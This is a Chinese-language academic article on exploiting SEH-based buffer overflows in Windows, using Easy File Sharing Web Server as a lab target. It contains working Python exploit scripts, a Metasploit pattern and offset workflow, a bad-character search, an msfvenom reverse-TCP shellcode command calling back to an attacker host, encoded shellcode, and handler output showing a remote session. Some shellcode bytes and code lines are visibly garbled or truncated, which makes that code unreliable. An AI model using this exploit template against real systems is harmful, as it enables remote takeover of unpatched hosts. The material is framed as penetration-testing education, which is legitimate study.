劉 丹
(江蘇聯(lián)合職業(yè)技術(shù)學(xué)院 蘇州工業(yè)園區(qū)分院數(shù)字藝術(shù)系,江蘇 蘇州 215123)
隨著網(wǎng)絡(luò)技術(shù)的廣泛普及和應(yīng)用,針對網(wǎng)絡(luò)漏洞進(jìn)行的攻擊也越來越多。緩沖區(qū)溢出漏洞攻擊是主要的網(wǎng)絡(luò)攻擊形式,要有效解決該問題,首先需要了解其攻擊過程[1]。本文介紹了緩沖區(qū)溢出時,覆蓋并利用SEH鏈進(jìn)行攻擊的過程。以獲取目標(biāo)機(jī)器遠(yuǎn)程控制權(quán)限為例,介紹了使用Python語言編寫針對SEH漏洞的滲透攻擊模塊通用代碼的步驟。需要實現(xiàn)其他不同的攻擊需求時,只需要編寫相應(yīng)的攻擊載荷,再加入通用的滲透攻擊模塊中,即可快速實現(xiàn)多種定制化的攻擊,有效彌補現(xiàn)有攻擊工具的不足。
Python是一種解釋型、面向?qū)ο蟆討B(tài)數(shù)據(jù)類型的高級程序設(shè)計語言,第一個公開發(fā)行版發(fā)行于1991年。眾多的擴(kuò)展庫使得Python已經(jīng)成為最受歡迎、用途最廣的程序設(shè)計語言之一[2]。
市場上存在大量的網(wǎng)絡(luò)安全工具,但是由于網(wǎng)絡(luò)環(huán)境的復(fù)雜多變,這些工具往往具有各種局限性。網(wǎng)絡(luò)安全人員能根據(jù)實際需求進(jìn)行開發(fā),以彌補工具的不足。Python具有簡單易學(xué)、可讀性強(qiáng)、可擴(kuò)展、功能強(qiáng)大等特點,能大幅提升網(wǎng)絡(luò)編程人員的工作效率,受到廣大網(wǎng)絡(luò)安全從業(yè)人員的歡迎。
從事滲透測試的人員采用和黑客相同的方式對目標(biāo)系統(tǒng)或軟件進(jìn)行入侵,以檢測現(xiàn)有的安全機(jī)制能否抵擋惡意攻擊[3]。
Kali系統(tǒng)中提供大量網(wǎng)絡(luò)和應(yīng)用漏洞評估工具,可以自動完成漏洞檢測和評估。Metasploit是Kali中自帶的、最為流行的開源漏洞滲透測試框架,附帶數(shù)百個已知的軟件漏洞。確認(rèn)系統(tǒng)或軟件存在漏洞后,使目標(biāo)系統(tǒng)執(zhí)行漏洞滲透程序,再借助Metasploit獲取存在漏洞的目標(biāo)機(jī)器的控制權(quán)限[4]。
結(jié)構(gòu)化異常處理(Structured Exception Handling,SEH)是Windows操作系統(tǒng)提供的異常處理機(jī)制,在INTEL體系中,當(dāng)發(fā)生存取無效內(nèi)存地址、被0除等操作時,系統(tǒng)會將異常拋給相關(guān)的SEH處理,保證程序不崩潰、可以繼續(xù)執(zhí)行[5]。由于通常有很多種異常,因此異常處理程序被設(shè)計為鏈狀結(jié)構(gòu),如圖1所示。
圖1 SEH鏈結(jié)構(gòu)
SEH結(jié)構(gòu)體保存在棧中,每個結(jié)構(gòu)體由8個字節(jié)組成。前4個字節(jié)保存SEH鏈表指針,指向下1個SEH結(jié)構(gòu)體;后4個字節(jié)保存的是異常處理程序的調(diào)用句柄,指向?qū)?yīng)的異常處理程序[6]。當(dāng)異常發(fā)生時,首先找到第1個SEH結(jié)構(gòu)的異常處理程序進(jìn)行處理,如果當(dāng)前異常處理程序無法處理,則通過Next SEH找到下1個SEH結(jié)構(gòu)體,繼續(xù)處理,如果都無法處理,則交給默認(rèn)異常處理程序處理[7]。由于該鏈狀設(shè)計存在重大漏洞,使得緩存區(qū)溢出時,可以利用SEH鏈實施攻擊。
微軟從Windows XP sp2開始,引入了SEH校驗機(jī)制SafeSEH。SafeSEH是防止堆棧中的SEH被覆蓋而導(dǎo)致被利用的增強(qiáng)型SEH技術(shù)[8]。使用.net編譯器在編譯時將PE文件的合法的異常處理函數(shù)解析成一張表并將該表存在PE文件的數(shù)據(jù)塊中,用于運行時檢查。如果Handler在函數(shù)表中則執(zhí)行異常處理;如果不在函數(shù)表中,則終止程序運行[6]。
如果進(jìn)程中加載的所有模塊都支持SafeSEH的image,則通過覆蓋SEH來攻擊是不可能實現(xiàn)的,而如果存在一個程序不支持SafeSEH的image,則攻擊者就可以覆蓋SEH節(jié)點控制進(jìn)程[6]。
由于SEH結(jié)構(gòu)存放在棧中,當(dāng)緩沖區(qū)溢出時,SEH結(jié)構(gòu)體中的內(nèi)容會被覆蓋,覆蓋的內(nèi)容會錯誤引導(dǎo)SEH handler執(zhí)行,將程序轉(zhuǎn)入被劫持的代碼。圖2介紹了緩沖區(qū)溢出后,想要引導(dǎo)程序進(jìn)入被劫持的代碼時,內(nèi)存中的各數(shù)據(jù)分布。
圖2 異常發(fā)生后內(nèi)存數(shù)據(jù)分布
Next SEH域覆蓋為“XEBX069090”,對應(yīng)的指令:Jmp 06 nop nop。由于Next SEH域占4個字節(jié),因此需要2個nop指令用于填充字符。使用該指令跳轉(zhuǎn)到Shellcode區(qū)域。
SEH handler域覆蓋為POP/POP/RET指令串的地址[10]。當(dāng)存在SafeSEH保護(hù)時,會阻止堆棧中的SEH被覆蓋和利用。因此需要從沒有SafeSEH保護(hù)的模塊中找POP/POP/RET指令串地址,繞過保護(hù)。這里優(yōu)先選擇調(diào)用自身模塊中沒有開啟SafeSEH保護(hù)的POP/POP/RET指令串地址。
Shellcode代碼存放在SEH handler的后面。SEH handler和Shellcode之間可能存在空字符,可以在Shellcode前添加一段NOPs(空指令)滑過兩者中間的空字符,保證Shellcode代碼能正常執(zhí)行。
ESP寄存器的EstablisherFrame域指向當(dāng)前遍歷到的SEH結(jié)構(gòu)體的next SEH域的地址[9]。
結(jié)合內(nèi)存數(shù)據(jù)分布圖,漏洞利用的具體流程為:1)在緩沖區(qū)溢出后,觸發(fā)異常,系統(tǒng)找到指向SEH鏈表起始處的指針,執(zhí)行第一個SEH結(jié)構(gòu)中的SEH handler內(nèi)容;2)SEH handler中的POP、POP指令用于彈出ESP寄存器的前8個字節(jié)內(nèi)容,指向EstablisherFrame。執(zhí)行RET指令后,將ESP指向的EstablisherFrame域中的Next SEH域的地址彈入EIP中[9];3)Next SEH域的地址彈入EIP后,Next SEH域中存儲的指令:jmp 6 nop nop被執(zhí)行。該指令跳過jmp 6后面的2個nop指令字節(jié)以及SEH handler的4個字節(jié),落入nop指令區(qū),再滑行進(jìn)入Shellcode,完成控制流劫持。4)Shellcode是用機(jī)器語言編寫的攻擊代碼,根據(jù)不同的攻擊需求,編寫相應(yīng)的攻擊代碼。攻擊者通過將Shellcode發(fā)送給目標(biāo)機(jī)器執(zhí)行,取得目標(biāo)機(jī)器的系統(tǒng)控制權(quán)限,進(jìn)一步執(zhí)行越權(quán)操作[11]。
以Windows10的Easy File Sharing Web Server軟件為例,Windows10的IP地址為:192.168.159.1;攻擊機(jī)選擇Kali,攻擊機(jī)的IP地址為:192.168.159.128。Easy File Sharing Web Server運行后,瀏覽器輸入網(wǎng)址:http://192.168.159.1。訪問頁面如圖3所示。
圖3 訪問服務(wù)器頁面
用戶名輸入10 000個字符“A”,密碼輸入“123”,發(fā)送給服務(wù)器,由于用戶名字段輸入太長,這里借助Python語言編寫代碼進(jìn)行登錄。Kali中輸入的Python代碼如下,保存的文件名為“l(fā)ogin.py”,存放在/root路徑下。
import socket,struct
host="192.168.159.1"
port=80
payload="A"*10000
packet=("POST /forum.ghp HTTP/1.1"
"Host:192.168.159.1"
"User-Agent:Mozilla/5.0 (X11;Linux x86_64;rv:52.0)
6ecko/20100101 Firefox/52.0"
"Accept:text/html,application/xhtml+xml,application/xml
;q=0.9,*/*;q=0.8"
"Accept-Language:en-US,en;q=0.5"
"Accept-Encoding:gzip,deflate"
"Referer:http://192.168.159.1/"
"Cookie:SESSIONID=3321;UserID="+payload+";PassWD=123;
frmUserName=;frmUserPass=;
rememberPass=202%2C197%2C208%2C215%2C201; "
"Connection:close"
"Content-Type:application/x-www-form-urlencoded")
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((host,port))
s.send(packet)
s.close()
以上腳本將10 000個字符A放入請求的Cookie部分,發(fā)送給服務(wù)器。服務(wù)器無法正確解析請求,導(dǎo)致緩沖區(qū)溢出。在Windows10系統(tǒng)下載IMMUNITY DEBUGGER工具,借助IMMUNITY DEBUGGER進(jìn)行漏洞挖掘和分析。打開IMMUNITY DEBUGGER,點擊“File”->“Attach”,選中Easy File Sharing Web Server進(jìn)程,點擊“Attach”按鈕,再點擊運行按鈕。在Kali中運行登錄代碼,Kali中默認(rèn)安裝Python,這里直接輸入“python /root/login.py”運行“l(fā)ogin.py”代碼。代碼運行完,回到IMMUNITY DEBUGGER,選擇“View->SEH chain”,找到Next SEH的地址為“033A7288”,該地址指向內(nèi)容,如圖4所示。
圖4 Next SEH和SEH被覆蓋為A
由圖4可知,Next SEH和SEH中的內(nèi)容都被覆蓋為“A”字符,說明Windows10的Easy File Sharing Web Server存在基于SEH的棧溢出漏洞。由于用戶名字段沒有對輸入長度進(jìn)行驗證,當(dāng)輸入長度過長時,造成堆棧溢出,軟件崩潰。
根據(jù)前面的漏洞利用原理分析可知,想要對SEH漏洞進(jìn)行利用,需要確定以下內(nèi)容:Next SEH的偏移量、沒有SafeSEH保護(hù)的POP/POP/RET指令串地址、實現(xiàn)攻擊的Shellcode。
3.2.1 構(gòu)造唯一字符串,確定偏移量
為了覆蓋Next SEH和SEH的內(nèi)容,首先需要確定覆蓋Next SEH和SEH所需要的緩沖區(qū)精確長度,即定位Next SEH和SEH的偏移量。這里借助Kali自帶的Metasploit工具,使用Metasploit的pattern_create工具產(chǎn)生10 000個不重復(fù)的字符作為用戶名字段輸入。首先進(jìn)入pattern_create所在目錄,命令為:“cd /usr/share/metasploit-framework/tools/exploit”;再執(zhí)行“./pattern_create.rb -l 10000”命令生成10 000個不重復(fù)的字符。
將上述“l(fā)ogin.py”腳本的payload變量內(nèi)容替換成生成的10 000個不重復(fù)的字符,再次運行Python腳本,引發(fā)溢出異常。使用Immunity Debugger查詢SEH鏈,發(fā)現(xiàn)Next SEH被覆蓋為“46336646”,SEH被覆蓋為“66463466”字符,如圖5所示。
圖5 查看SEH chain
通過Metasploit的pattern_offset工具定位“46336646”字符和“66463466”字符在原字符串中的偏移量,定位“46336646”字符的命令為:“./pattern_offset.rb -q 46336646 -l 10000”,結(jié)果為:4059,同樣的方法,找到SEH偏移量:4063。
3.2.2 查找pop pop ret指令串地址
從已加載的未開啟SafeSEH保護(hù)的DLL/EXE模塊的地址空間中搜索POP/POP/RET指令串組合,記錄下指令串的地址,覆蓋SEH handler域。使用Immunity Debugger的插件mona.py查找POP/POP/RET指令串,在輸入框中輸入命令:“!mona a”,在Immunity Debugger安裝目錄下生成a.txt文件。根據(jù)前面的分析,由于Windows10系統(tǒng)采用SafeSEH機(jī)制保護(hù),因此優(yōu)先選擇從軟件自帶的沒有開啟SafeSEH保護(hù)的 “ImageLoad.dll”模塊中查找POP/POP/RET指令串地址,查找結(jié)果為:“ 0x10017743:# POP EBP # POP EBX # RETN ** [ImageLoad.dll]”,即POP/POP/RET指令串地址為:“0x10017743”。
3.2.3 壞字符的確定
Easy File Sharing Web Server的用戶名字段對輸入內(nèi)容是有限制的,并非所有的字符都可以出現(xiàn)在用戶名字段中。不能出現(xiàn)在用戶名字段中的字符稱為壞字符。當(dāng)輸入壞字符時,服務(wù)器拒絕接收后續(xù)內(nèi)容,導(dǎo)致只傳送部分內(nèi)容給服務(wù)器,因此攻擊代碼Shellcode中需要排除壞字符,以確保所有代碼的正常執(zhí)行。借助Python腳本排查壞字符。首先將Shellcode的內(nèi)容輸入為所有可能的字符:“x01x02…xffxf0”。有改動的部分python代碼如下:
payload="A"*4059
payload+="B"*4
payload+="C"*4
shellcode=
("x01x02x03x04x05x06x07x08x09x0ax0bx0cx0dx0ex0fx00"
+"x11x12x13x14x15x16x17x18x19x1ax1bx1cx1dx1ex1fx10"
+"x21x22x23x24x25x26x27x28x29x2ax2bx2cx2dx2ex2fx20"
+"x31x32x33x34x35x36x37x38x39x3ax3bx3cx3dx3ex3fx30"
+"x41x42x43x44x45x46x47x48x49x4ax4bx4cx4dx4ex4fx40"
+"x51x52x53x54x55x56x57x58x59x5ax5bx5cx5dx5ex5fx50"
+"x61x62x63x64x65x66x67x68x69x6ax6bx6cx6dx6ex6fx60"
+"x71x72x73x74x75x76x77x78x79x7ax7bx7cx7dx7ex7fx70"
+"x81x82x83x84x85x86x87x88x89x8ax8bx8cx8dx8ex8fx80"
+"x91x92x93x94x95x96x97x98x99x9ax9bx9cx9dx9ex9fx90"
+"xa1xa2xa3xa4xa5xa6xa7xa8xa9xaaxabxacxadxaexafxa0"
+"xb1xb2xb3xb4xb5xb6xb7xb8xb9xbaxbbxbcxbdxbexbfxb0"
+"xc1xc2xc3xc4xc5xc6xc7xc8xc9xcaxcbxccxcdxcexcfxc0"
+"xd1xd2xd3xd4xd5xd6xd7xd8xd9xdaxdbxdcxddxdexdfxd0"
+"xe1xe2xe3xe4xe5xe6xe7xe8xe9xeaxebxecxedxeexefxe0"
+"xf1xf2xf3xf4xf5xf6xf7xf8xf9xfaxfbxfcxfdxfexffxf0")
payload+=shellcode
payload+="D"*(10080-4059-4-4-len(shellcode))
主要修改內(nèi)容為payload變量值。首先使用4 059個“A”字符覆蓋Next SEH和SEH所需要的緩沖區(qū);再用“B”字符覆蓋Next SEH域;SEH域被覆蓋為字符“C”,Shellcode使用所有可能出現(xiàn)的字符代替,剩余字符使用“D”填充以確保輸入內(nèi)容長度足夠能引起緩沖區(qū)溢出。運行后,使用Immnuity Debugger調(diào)試發(fā)現(xiàn),當(dāng)出現(xiàn)壞字符時,該字符及其后續(xù)內(nèi)容都會發(fā)生改變,如圖6所示?!?A”后面的字符都發(fā)生了改變,因此“x3b”為壞字符。從字符串中去掉該壞字符后,繼續(xù)測試后續(xù)字符是否有其他壞字符。最終確定“x00”和“x3b”2個字符為壞字符。
3.2.4 Shellcode生成
了解了SEH溢出漏洞的利用原理后,以獲取目標(biāo)系統(tǒng)的遠(yuǎn)程控制權(quán)限為例,說明Shellcode的生成過程。利用漏洞滲透進(jìn)一個系統(tǒng)后,想要控制該系統(tǒng),需要一個遠(yuǎn)程控制程序,這里使用的是反向遠(yuǎn)程控制。Metasploit中提供了msfvenom命令生成遠(yuǎn)程控制被控端代碼,將該代碼發(fā)送給被控端,當(dāng)被控端運行代碼后,會主動通知主控端計算機(jī)來連接,主控端即可取得被控端機(jī)器的控制權(quán)。使用msfvenom生成Shellcode的命令如下:
msfvenom -p windows/shell/reverse_tcp LHOST=192.168.159.128 LPORT=8989 -b “x00x3b”-e x86/shikata_ga_nai -f python -v shellcode
其中,-p指定使用的攻擊載荷;LHOST為攻擊機(jī)Kali的IP地址;LPORT為Kali端連接的端口號;-b指定需要規(guī)避的字符集。將上述命令生成的代碼替換掉Python腳本中的Shellcode變量。
3.2.5 完整代碼實現(xiàn)
將上述步驟產(chǎn)生的值放入完整的攻擊代碼中:使用4 059個“A”字符覆蓋Next SEH和SEH所需要的緩沖區(qū);再用jmp 06 加2個nop指令(xebx06x90x90)覆蓋Next SEH域;SEH域被覆蓋為POP/POP/RET指令串地址:10017743,由于網(wǎng)絡(luò)中傳輸?shù)臄?shù)據(jù)使用的是小端的無符號整型格式,這里使用struct.pack(“
payload="A"*4059
payload+="xebx06x90x90"
payload+=struct.pack("
shellcode =(
"xb8x1bxe0x9ax23xdaxc8xd9x74x24xf4x5dx33xc9xb1x54x31x45x13x03x45x13x83xed"
+"xe7x02x6fxdfxffx41x90x20xffx25x18xc5xcex65x7ex8dx60x56xf4xc3x8cx1dx58xf0"
+"x07x53x75xf7xa0xdexa3x36x31x72x97x59xb1x89xc4xb9x88x41x19xbbxcdxbcxd0xe9"
+"x86xcbx47x1exa3x86x5bx95xffx07xdcx4axb7x26xcdxdcxccx70xcdxdfx01x09x44xf8"
+"x46x34x1ex73xbcxc2xa1x55x8dx2bx0dx98x22xdex4fxdcx84x01x3ax14xf7xbcx3dxe3"
+"x8ax1axcbxf0x2cxe8x6bxddxcdx3dxedx96xc1x8ax79xf0xc5x0dxadx8axf1x86x50x5d"
+"x70xdcx76x79xd9x86x17xd8x87x69x27x3ax68xd5x8dx30x84x02xbcx1axc0xe7x8dxa4"
+"x10x60x85xd7x22x2fx3dx70x0exb8x9bx87x71x93x5cx17x8cx1cx9dx31x4ax48xcdx29"
+"x7bxf1x86xa9x84x24x32xa0x12x07x6bx2bx62xefx6ex54x41xedxe7xb2xd5x5dxa8x6a"
+"x95x0dx08xdbx7dx44x87x04x9dx67x4dx2dx37x88x38x05xafx31x61xddx4exbdxbfx9b"
+"x50x35x4ax5bx1exbex3flx4fx76xdfxbfx8fx86x4axc0xe5x82xdcx97x91x88x39xdfx3d"
+"x73x6cx63x39x8bxf1x52x31xbdx67xdbx2dxc1x67xdbxadx97xedxdbxc5x4fx56x88xfo"
+"x90x43xbcxa8x04x6cx95x1dx8fx04x1bx7bxe7x8axe4xaex74xccx1bx2cx58x75x74xce"
+"xdc x85x84xa4xdcxd5xecx33xf3xdaxdcxbcxdexb2x74x36x8ex71xe4x47x9bxd4xb8x48"
+"x2fxcdxadxc6xd0xf2xd1x28xedx24xe8x5ex36xf5x4fx50x0dx58xf9xfbx6dxcexf9x29")
payload+=shellcode
上述代碼發(fā)送給被控端機(jī)器,引發(fā)緩沖區(qū)溢出異常,修改SEH鏈中內(nèi)容,轉(zhuǎn)入遠(yuǎn)程控制程序Shellcode執(zhí)行。被控端執(zhí)行Shellcode代碼后,主動連接主控端,被主控端控制。
在Kali機(jī)器中輸入msfconsole啟動Metasploit作為主控端,選擇模塊exploit/multi/handler,并設(shè)置本地機(jī)器的IP地址:192.168.159.128和端口號:8989,開始攻擊,對應(yīng)過程如下:
msf > use exploit/multi/handler
msf exploit(multi/handler) > set lhost 192.168.159.128
lhost => 192.168.159.128
msf exploit(multi/handler) > set lport 8989
lport => 8989
msf exploit(multi/handler) > exploit
[*]Started reverse TCP handler on 192.168.159.128:8989
再執(zhí)行Python腳本完成對目標(biāo)機(jī)器的遠(yuǎn)程控制;此時回到主控端發(fā)現(xiàn)已經(jīng)成功建立了一個session,滲透成功。執(zhí)行“pwd”命令查看當(dāng)前所在目錄,發(fā)現(xiàn)已經(jīng)在被控端的桌面目錄了,還可以執(zhí)行上傳、下載文件、創(chuàng)建賬號、遠(yuǎn)程桌面連接等等越權(quán)操作。
msf > use exploit/multi/handler
msf exploit(multi/handler ) > set lhost 192.168.159.128
lhost =>192.168.159.128
msf exploit(multi/handler) > set lport 8989
lport => 8989
msf exploit(multi/handler ) > exploit
[*]Started reverse TCP handler on 192.168.159.128:8989
[*]Sending stage (179779 bytes) to 192.168.159.1
[*] Meterpreter session 1 opened (192.168.159.128:8989->192.168.159.1:56097) at 2020-05-07 22:38:47 +0800
meterpreter > pwd
C:UserslliudaDesktop
本文分析了基于Windows的SEH漏洞利用過程,提供了使用Python語言進(jìn)行SEH漏洞滲透模塊編寫的通用模板。以獲取目標(biāo)主機(jī)遠(yuǎn)程控制權(quán)限為例,重點闡述了SEH偏移量查詢、POP/POP/RET指令串地址查找、壞字符確定、Shellcode代碼的自動生成等。通過將遠(yuǎn)程控制程序發(fā)送給被控端執(zhí)行,最終成功獲取被控端的訪問控制權(quán)。研究基于Python的滲透代碼編寫模板能幫助網(wǎng)絡(luò)安全從業(yè)人員快速編寫特定功能的滲透代碼,有效發(fā)現(xiàn)軟件或系統(tǒng)的特定漏洞,很好地彌補了現(xiàn)有網(wǎng)絡(luò)安全工具的不足。